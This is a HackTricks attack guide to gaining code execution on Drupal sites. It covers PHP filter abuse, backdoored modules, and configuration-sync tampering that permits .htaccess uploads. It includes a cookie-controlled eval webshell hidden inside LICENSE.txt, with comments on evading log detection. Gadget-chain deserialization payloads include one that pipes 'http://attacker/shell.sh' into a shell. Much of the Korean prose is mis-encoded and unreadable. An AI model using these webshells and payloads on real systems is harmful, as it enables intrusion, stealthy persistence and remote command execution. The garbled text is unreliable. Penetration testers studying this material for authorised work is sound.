Drupal RCE
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
PHP Filter Module ์ฌ์ฉ
Warning
๊ตฌ๋ฒ์ ์ Drupal **(version 8 ์ด์ )**์์๋ ๊ด๋ฆฌ์ ๊ณ์ ์ผ๋ก ๋ก๊ทธ์ธํ์ฌ
PHP filter๋ชจ๋์ ํ์ฑํํ ์ ์์์ผ๋ฉฐ, ์ด ๋ชจ๋์ โ๋ด์ฅ๋ PHP ์ฝ๋/์ค๋ํซ์ ํ๊ฐํ ์ ์๊ฒ ํฉ๋๋ค.โ ํ์ง๋ง version 8๋ถํฐ ์ด ๋ชจ๋์ ๊ธฐ๋ณธ์ผ๋ก ์ค์น๋์ด ์์ง ์์ต๋๋ค.
- /modules/php๋ก ์ด๋ํ๊ณ 403 ์๋ฌ๊ฐ ๋ฐํ๋๋ฉด PHP filter plugin์ด ์ค์น๋์ด ์์ผ๋ฏ๋ก ๊ณ์ ์งํํ ์ ์์ต๋๋ค
- ์ค์น๋์ด ์์ง ์๋ค๋ฉด
Modules๋ก ๊ฐ์PHP Filter์ ์ฒดํฌ๋ฐ์ค๋ฅผ ์ ํํ ๋ค์Save configuration์ ํด๋ฆญํ์ธ์ - ์ดํ ์ด๋ฅผ ์
์ฉํ๋ ค๋ฉด
Add content๋ฅผ ํด๋ฆญํ๊ณBasic Page๋๋Article์ ์ ํํ ๋ค PHP backdoor๋ฅผ ์์ฑํ๊ณ ํ ์คํธ ํ์์์PHP์ฝ๋๋ฅผ ์ ํํ ํPreview๋ฅผ ํด๋ฆญํ์ธ์ - ํธ๋ฆฌ๊ฑฐํ๋ ค๋ฉด ์๋ก ์์ฑ๋ node์ ์ ๊ทผํ๋ฉด ๋ฉ๋๋ค:
curl http://drupal.local/node/3
PHP Filter ๋ชจ๋ ์ค์น
Warning
ํ์ฌ ๋ฒ์ ์์๋ ๊ธฐ๋ณธ ์ค์น ์ดํ ์น ์ ๊ทผ๋ง์ผ๋ก ํ๋ฌ๊ทธ์ธ์ ์ค์นํ๋ ๊ฒ์ด ๋ ์ด์ ๋ถ๊ฐ๋ฅํฉ๋๋ค.
๋ฒ์ 8 ์ด์๋ถํฐ๋ PHP Filter ๋ชจ๋์ด ๊ธฐ๋ณธ์ผ๋ก ์ค์น๋์ด ์์ง ์์ต๋๋ค. ์ด ๊ธฐ๋ฅ์ ์ฌ์ฉํ๋ ค๋ฉด ๋ชจ๋์ ์ง์ ์ค์นํด์ผ ํฉ๋๋ค.
- Drupal ์น์ฌ์ดํธ์์ ๋ชจ๋์ ์ต์ ๋ฒ์ ์ ๋ค์ด๋ก๋ํฉ๋๋ค.
wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz- ๋ค์ด๋ก๋๊ฐ ์๋ฃ๋๋ฉด
Administration>Reports>Available updates๋ก ์ด๋ํฉ๋๋ค. Browse๋ฅผ ํด๋ฆญํ๊ณ , ๋ค์ด๋ก๋ํ ๋๋ ํฐ๋ฆฌ์์ ํ์ผ์ ์ ํํ ํInstall์ ํด๋ฆญํฉ๋๋ค.- ๋ชจ๋์ด ์ค์น๋๋ฉด
Content๋ฅผ ํด๋ฆญํ๊ณ Drupal 7 ์์ ์ ๋ง์ฐฌ๊ฐ์ง๋ก ์ ๊ธฐ๋ณธ ํ์ด์ง๋ฅผ ์์ฑ ํ ์ ์์ต๋๋ค. ๋ค์ ํ ๋ฒ,Text format๋๋กญ๋ค์ด์์PHP code๋ฅผ ์ ํํ๋์ง ํ์ธํ์ธ์.
๋ฐฑ๋์ด ๋ชจ๋
Warning
ํ์ฌ ๋ฒ์ ์์๋ ๊ธฐ๋ณธ ์ค์น ์ดํ ์น ์ ๊ทผ๋ง์ผ๋ก ํ๋ฌ๊ทธ์ธ์ ์ค์นํ๋ ๊ฒ์ด ๋ ์ด์ ๋ถ๊ฐ๋ฅํฉ๋๋ค.
๋ชจ๋์ ๋ค์ด๋ก๋ํ๊ณ ๊ทธ ์์ ๋ฐฑ๋์ด๋ฅผ ์ถ๊ฐํ ๋ค ์ค์นํ๋ ๊ฒ์ด ๊ฐ๋ฅํ์ต๋๋ค. ์๋ฅผ ๋ค์ด, ์์ถ๋ ํํ์ Trurnstile ๋ชจ๋์ ๋ค์ด๋ก๋ํ ํ ๊ทธ ๋ด๋ถ์ ์๋ก์ด PHP ๋ฐฑ๋์ด ํ์ผ์ ์์ฑํ๊ณ , .htaccess ํ์ผ๋ก ํด๋น PHP ํ์ผ์ ์ ๊ทผ์ ํ์ฉํ๋ ๋ฐฉ์์
๋๋ค:
<IfModule mod_rewrite.c> RewriteEngine On RewriteBase / </IfModule>
And then going to http://drupal.local/admin/modules/install to install the backdoored module and access /modules/turnstile/back.php to execute it.
Backdooring Drupal with Configuration synchronization
๊ฒ์์ Coiffeur0x90
Part 1 (Media ๋ฐ Media Library ํ์ฑํ)
In the Extend ๋ฉ๋ด(/admin/modules)์์ ์ด๋ฏธ ์ค์น๋์ด ์๋ ๊ฒ์ผ๋ก ๋ณด์ด๋ ํ๋ฌ๊ทธ์ธ๋ค์ ํ์ฑํํ ์ ์์ต๋๋ค. ๊ธฐ๋ณธ์ ์ผ๋ก Media ๋ฐ Media Library ํ๋ฌ๊ทธ์ธ์ ํ์ฑํ๋์ด ์์ง ์์ผ๋ฏ๋ก, ์ด๋ฅผ ํ์ฑํํฉ์๋ค.
Before activation:
 (1) (1) (1) (1).png)
After activation:
 (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png)
 (1) (1) (1) (1) (1) (1).png)
Part 2 (Configuration synchronization ๊ธฐ๋ฅ ํ์ฉ)
Configuration synchronization ๊ธฐ๋ฅ์ ์ด์ฉํด Drupal ๊ตฌ์ฑ ํญ๋ชฉ์ ๋คํ(export)ํ๊ณ ์ ๋ก๋(import)ํ๊ฒ ์ต๋๋ค:
- /admin/config/development/configuration/single/export
- /admin/config/development/configuration/single/import
system.file.yml ํจ์น
๋จผ์ ์ฒซ ํญ๋ชฉ allow_insecure_uploads๋ฅผ ๋ค์๊ณผ ๊ฐ์ด ํจ์นํ๋ ๊ฒ์ผ๋ก ์์ํฉ์๋ค:
File: system.file.yml
...
allow_insecure_uploads: false
...
 (1) (1) (1) (1) (1) (1).png)
๋์:
File: system.file.yml
...
allow_insecure_uploads: true
...
 (1) (1) (1) (1) (1).png)
ํจ์น field.field.media.document.field_media_document.yml
๊ทธ๋ฐ ๋ค์ ๋ ๋ฒ์งธ ํญ๋ชฉ file_extensions๋ฅผ ๋ค์์์ ํจ์นํฉ๋๋ค:
ํ์ผ: field.field.media.document.field_media_document.yml
...
file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'
...
 (1) (1) (1).png)
๋์:
ํ์ผ: field.field.media.document.field_media_document.yml
...
file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'
...
์ด ๋ธ๋ก๊ทธ ๊ธ์์๋ ์ฌ์ฉํ์ง ์์์ง๋ง, ์ํธ๋ฆฌ
file_directory๋ฅผ ์์๋ก ์ ์ํ ์ ์์ผ๋ฉฐ path traversal ๊ณต๊ฒฉ์ ์ทจ์ฝํ์ฌ (Drupal ํ์ผ์์คํ ํธ๋ฆฌ ๋ด์์ ์์ ๋๋ ํฐ๋ฆฌ๋ก ์ด๋ํ ์ ์๋ค) ๋ผ๊ณ ์ธ๊ธ๋์ด ์๋ค.
 (1) (1) (1).png)
Part 3 (๊ธฐ๋ฅ Add Document ํ์ฉ)
๋ง์ง๋ง ๋จ๊ณ๋ ๊ฐ์ฅ ๊ฐ๋จํ๋ฉฐ ๋ ๊ฐ์ ํ์ ๋จ๊ณ๋ก ๋๋๋ค. ์ฒซ ๋ฒ์งธ๋ .htaccess ํ์์ ํ์ผ์ ์ ๋ก๋ํ์ฌ Apache ์ง์๋ฌธ์ ํ์ฉํ๊ณ .txt ํ์ผ์ด PHP ์์ง์ ์ํด ํด์๋๋๋ก ํ์ฉํ๋ ๊ฒ์ด๋ค. ๋ ๋ฒ์งธ๋ ์ฐ๋ฆฌ์ payload๋ฅผ ํฌํจํ .txt ํ์ผ์ ์ ๋ก๋ํ๋ ๊ฒ์ด๋ค.
File: .htaccess
<Files *>
SetHandler application/x-httpd-php
</Files>
# Vroum! Vroum!
# We reactivate PHP engines for all versions in order to be targetless.
<IfModule mod_php.c>
php_flag engine on
</IfModule>
<IfModule mod_php7.c>
php_flag engine on
</IfModule>
<IfModule mod_php5.c>
php_flag engine on
</IfModule>
์ ์ด ํธ๋ฆญ์ด ๋ฉ์ง๊ฐ?
์๋ํ๋ฉด Webshell(์ฐ๋ฆฌ๊ฐ LICENSE.txt๋ผ๊ณ ๋ถ๋ฅผ ๊ฒ)๋ฅผ ์น ์๋ฒ์ ์
๋ก๋ํ๋ฉด $_COOKIE๋ฅผ ํตํด ๋ช
๋ น์ ์ ์กํ ์ ์๊ณ , ์น ์๋ฒ ๋ก๊ทธ์๋ ์ด๊ฒ์ด ํ
์คํธ ํ์ผ์ ๋ํ ์ ๋นํ GET request๋ก ๊ธฐ๋ก๋๊ธฐ ๋๋ฌธ์
๋๋ค.
์ Webshell ์ด๋ฆ์ LICENSE.txt๋ก ์ง๋๊ฐ?
๊ฐ๋จํ ๋งํ๋ฉด, ์๋ฅผ ๋ค์ด core/LICENSE.txt (์ด๋ฏธ Drupal core์ ์กด์ฌํจ)๋ฅผ ๋ณด๋ฉด 339์ค, 17.6 KB ํฌ๊ธฐ์ ํ์ผ์ด๋ฏ๋ก ๊ฐ์ด๋ฐ์ ์์ PHP ์ฝ๋ ์ค๋ํซ์ ์ถ๊ฐํ๊ธฐ์ ์๋ฒฝํฉ๋๋ค(ํ์ผ์ด ์ถฉ๋ถํ ํฌ๊ธฐ ๋๋ฌธ์).
 (1) (1) (1).png)
File: Patched LICENSE.txt
...
this License, you may choose any version ever published by the Free Software
Foundation.
<?php
# We inject our payload into the cookies so that in the logs of the compromised
# server it shows up as having been requested via the GET method, in order to
# avoid raising suspicions.
if (isset($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
if (!empty($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
eval($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"]);
} else {
phpinfo();
}
}
?>
10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
...
Part 3.1 (.htaccess ํ์ผ ์ ๋ก๋)
๋จผ์ Add Document (/media/add/document) ๊ธฐ๋ฅ์ ์ด์ฉํด Apache ์ง์๋ฌธ(.htaccess)์ด ํฌํจ๋ ํ์ผ์ ์ ๋ก๋ํฉ๋๋ค.
 (1) (1) (1).png)
 (1) (1) (1).png)
 (1) (1) (1).png)
Part 3.2 (LICENSE.txt ํ์ผ ์ ๋ก๋)
๊ทธ๋ค์ Add Document (/media/add/document) ๊ธฐ๋ฅ์ ๋ค์ ์ด์ฉํด ๋ผ์ด์ ์ค ํ์ผ ์์ ์จ๊ธด Webshell์ ์ ๋ก๋ํฉ๋๋ค.
 (1).png)
 (1).png)
 (1).png)
Part 4 (Webshell๊ณผ์ ์ํธ์์ฉ)
๋ง์ง๋ง ๋ถ๋ถ์ Webshell๊ณผ ์ํธ์์ฉํ๋ ๊ฒ์ ๋๋ค.
๋ค์ ์คํฌ๋ฆฐ์ท์์ ๋ณด๋ฏ์ด, Webshell์ด ๊ธฐ๋ํ๋ ์ฟ ํค๊ฐ ์ ์๋์ด ์์ง ์์ผ๋ฉด ์น ๋ธ๋ผ์ฐ์ ๋ก ํ์ผ์ ์กฐํํ์ ๋ ๋ค์๊ณผ ๊ฐ์ ๊ฒฐ๊ณผ๊ฐ ๋ํ๋ฉ๋๋ค.
 (1).png)
๊ณต๊ฒฉ์๊ฐ ์ฟ ํค๋ฅผ ์ค์ ํ๋ฉด Webshell๊ณผ ์ํธ์์ฉํ์ฌ ์ํ๋ ๋ช ๋ น์ ์คํํ ์ ์์ต๋๋ค.
 (1).png)
๋ก๊ทธ๋ฅผ ๋ณด๋ฉด ์์ฒญ๋ ๊ฒ์ ๋จ์ง txt ํ์ผ๋ก ๋ณด์ ๋๋ค.
 (1).png)
์ด ๊ธ์ ์ฝ์ด์ฃผ์ ์ ๊ฐ์ฌํฉ๋๋ค. ์ด ๊ธ์ด ๋ช ๊ฐ์ shells์ ์ป๋ ๋ฐ ๋์์ด ๋๊ธธ ๋ฐ๋๋๋ค.
Drupal core gadget chain (SA-CORE-2024-007 / SA-CORE-2024-008)
Two advisories published 20 Nov 2024 (CVE-2024-55637 & CVE-2024-55638) describe new PHP object gadget chains in Drupal core (7.0โ7.101, 8.x, 10.2.0โ10.2.10, 10.3.0โ10.3.8, early 11.x). They are not directly exploitable but give attackers a ready-made chain once any contrib/module performs unserialize() on user input.
์ค์ ์ต์คํ๋ก์ ์ํฌํ๋ก์ฐ:
- Find the unserialize sink (contrib module ๋๋ custom code). ์ฝ๋๋ฒ ์ด์ค์์
unserialize(๋๋Drupal\Component\Serialization\PhpSerialize::decode๋ฅผ grepํ์ธ์. POST/JSON์ด๋ ์ค์ ๊ฐ์ ธ์ค๊ธฐ(configuration imports)๋ฅผ ํ์ฉํ๋ ์๋ํฌ์ธํธ๋ฅผ ๋ ธ๋ฆฌ์ธ์. - Generate a payload ์ทจ์ฝํ ํด๋์ค ๊ฒฝ๋ก๋ฅผ ์ฌ์ฉํด gadget chain์ ๋ง๋ payload๋ฅผ ์์ฑํฉ๋๋ค. SA-CORE-2024-008 ์ดํ ๊ณต๊ฐ๋ ์ฒด์ธ์ ์ผ๋ฐ์ ์ธ payload ์์ฑ๊ธฐ์ ์ถ๊ฐ๋์์ต๋๋ค. PHPGGC (commit โฅ Dec 2024) ์:
./phpggc drupal/rce2 system 'id' > payload.ser
- Deliver the serialized blob์ sink(์: deserialized๋๋ parameter)๋ก ์ ๋ฌํฉ๋๋ค. form-encoded body์ ๊ฒฝ์ฐ:
curl -X POST https://target/admin/config/some/module \
-d "serialized_setting=$(cat payload.ser)"
- Trigger destruction (์์ฒญ ์ข ๋ฃ ์ ์ข ์ข ์๋์ผ๋ก ๋ฐ์) ๋ฐ ๋ช ๋ น์ ์คํํฉ๋๋ค.
Notes for testing:
- Gadget์ 10.2.11 / 10.3.9 / 7.102 ์ด์ (ํจ์น๋จ) ๋ฒ์ ์์๋ง ์๋ํฉ๋๋ค. ๋์ ๋ฒ์ ์
/core/lib/Drupal.php๋๋CHANGELOG.txt์์ ํ์ธํ์ธ์. - Thirdโparty DB drivers๋ ์ถ๊ฐ hardening์ด ํ์ํ ์ ์์ต๋๋ค; ๋ณด์ ์ ๋ฐ์ดํธ ๊ธฐ๊ฐ์ ๊ฑด๋๋ด ๋ฐฐํฌ๋ฅผ ์ฐพ์๋ณด์ธ์.
Recent contrib-module unsafe deserialization โ RCE
Several contrib modules fixed insecure unserialize() paths in late 2024. If the site is missing these updates, they give you the exploitable sink required by the core gadget chain:
- Mailjet (<4.0.1, CVE-2024-13296): ๊ด๋ฆฌ์ ์ ์ด ๋ฐ์ดํฐ๊ฐ
unserialize()๋ก ์ ๋ฌ๋์ด, core gadgets์ ์ฐ๊ฒฐ๋ ๋ PHP Object Injection โ RCE๋ฅผ ๊ฐ๋ฅํ๊ฒ ํฉ๋๋ค. - Eloqua (7.x-1.x < 1.15, CVE-2024-13297):
access administration pages๊ถํ์ ๊ฐ์ง ์ฌ์ฉ์๊ฐ ์ ๊ทผํ ์ ์๋ ์ ์ฌํ unsafeunserialize()์ฌ์ฉ์ด ์กด์ฌํฉ๋๋ค.
Testing idea (authenticated):
phpggc drupal/rce2 system 'bash -c "curl http://attacker/shell.sh|sh"' > p.ser
curl -b session=ADMINCOOKIE \
-F "import=@p.ser" https://target/admin/config/eloqua/import
๋ชจ๋์ด ์ ๋ก๋๋ ๋ฐ์ดํฐ๋ฅผ ์ญ์ง๋ ฌํํ๋ฉด gadget chain์ RCE๋ฅผ ๋ฐ์์ํจ๋ค. XSS/CSRF์ ๊ฒฐํฉํด ๊ด๋ฆฌ์ ์ฟ ํค๋ฅผ ํ์ทจํ๋ฉด ์ ์ฒด ๊ณต๊ฒฉ ์ฒด์ธ์ด ์์ฑ๋๋ค.
์ฐธ์กฐ
- Drupal core โ gadget chain โ SA-CORE-2024-008
- Mailjet module โ arbitrary PHP code execution โ SA-CONTRIB-2024-062
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


